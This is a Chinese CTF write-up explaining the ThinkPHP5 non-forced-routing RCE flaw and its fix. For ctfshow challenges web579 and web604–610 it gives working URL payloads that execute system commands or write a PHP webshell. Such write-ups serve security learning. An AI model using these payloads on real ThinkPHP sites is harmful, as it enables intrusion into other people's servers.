当前位置: 首页 > news >正文

【Web】Ctfshow Thinkphp5 非强制路由RCE漏洞

目录

非强制路由RCE漏洞

web579 

web604 

web605 

web606

web607-610


前面审了一些tp3的sql注入,终于到tp5了,要说tp5那最经典的还得是rce

下面介绍非强制路由RCE漏洞

非强制路由RCE漏洞原理

非强制路由相当于开了一个大口子,可以任意调用当前框架中的任意类的任意方法并传参。

下面是该漏洞的利用条件:

 

要修复这个漏洞非常简单,启用强制路由即可

很简单的道理,举个例子

index模块下控制器定义一个Address类,类里定义一个search()方法,并定义响应的路由访问+传参。

 

可以/search/5/4访问并传参

 

 因为没有开启强制路由,所以下面这种方式可以达成一样的效果

?s=index/Address/search&id=5&uid=4 

 

而且当前框架中的任意类的任意方法都是可以被直接调用的,所以我们只要找到恶意类的恶意方法传参即可,试着拿一个payload弹一个计算器,成功。

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

ok我们已经实现了从0到1的突破了,剩下的就是各种payload的积累

从payload反推是很容易的,下面不再演示

贴出一篇文章

ThinkPHP5框架缺陷导致远程命令执行 

先介绍一个通杀解:

利用\think\view\driver\Think类的__call方法

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>

web579 

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

web604 

?s=index/\think\Request/input&filter[]=system&data=tac /f*

web605 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php system('tac /f*');?>

web606

invokefunction大写即可

?s=index/think\app/invokeFunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /f*

或者:

?s=index/\think\Container/invokeFunction&function=assert&vars[0]=system('tac /f*');

web607-610

?s=index/\think\view\driver\Think/__call&method=display&params[]=<?php system('tac /f*'); ?>
http://www.lryc.cn/news/269655.html

相关文章:

  • python3遇到Can‘t connect to HTTPS URL because the SSL module is not available.
  • QSPI Flash xip取指同时program过程中概率性出现usb播歌时断音
  • MySQL聚簇索引和非聚簇索引的区别
  • 【C#】蜗牛爬井问题C#控制台实现
  • IP地址的四大类型:动态IP、固定IP、实体IP、虚拟IP的区别与应用
  • Linux Debian12安装和使用ImageMagick图像处理工具 常见图片png、jpg格式转webp格式
  • JavaScript二
  • JavaScript系列——正则表达式
  • 命令行创建Vue项目
  • 01.PostgreSQL基本SELECT语句
  • UDP信号多个电脑的信息传输测试、配置指南
  • 先序+中序还原二叉树【数据结构】
  • 【全网首发】洛谷P2678 [NOIP2015 提高组] 跳石头
  • Gpt指引ubuntu安装java8/11
  • 【MCAL】TC397+EB-tresos之MCU配置实战 - 芯片时钟
  • 最新AI系统ChatGPT网站H5系统源码,支持AI绘画,GPT语音对话+ChatFile文档对话总结+DALL-E3文生图
  • 如何在MAC OS中的XCODE下添加 <bits/stdc++.h>
  • Maven项目提示Ignored pom.xml问题
  • SQL学习汇总
  • 单片机MCU堆栈概念与区别
  • C#中使用is关键字检查对象是否与给定类型兼容
  • AI时代下,如何看待“算法利维坦”?
  • Linux上管理不同版本的 JDK
  • 直方图与均衡化
  • Java——猫猫图鉴微信小程序(前后端分离版)
  • PiflowX组件-ReadFromKafka
  • Ubuntu 安装MySQL以及基本使用
  • 基于Freeswitch实现的Volte网视频通知应用
  • 怎么实现Servlet的自动加载
  • 15. Mysql 变量的使用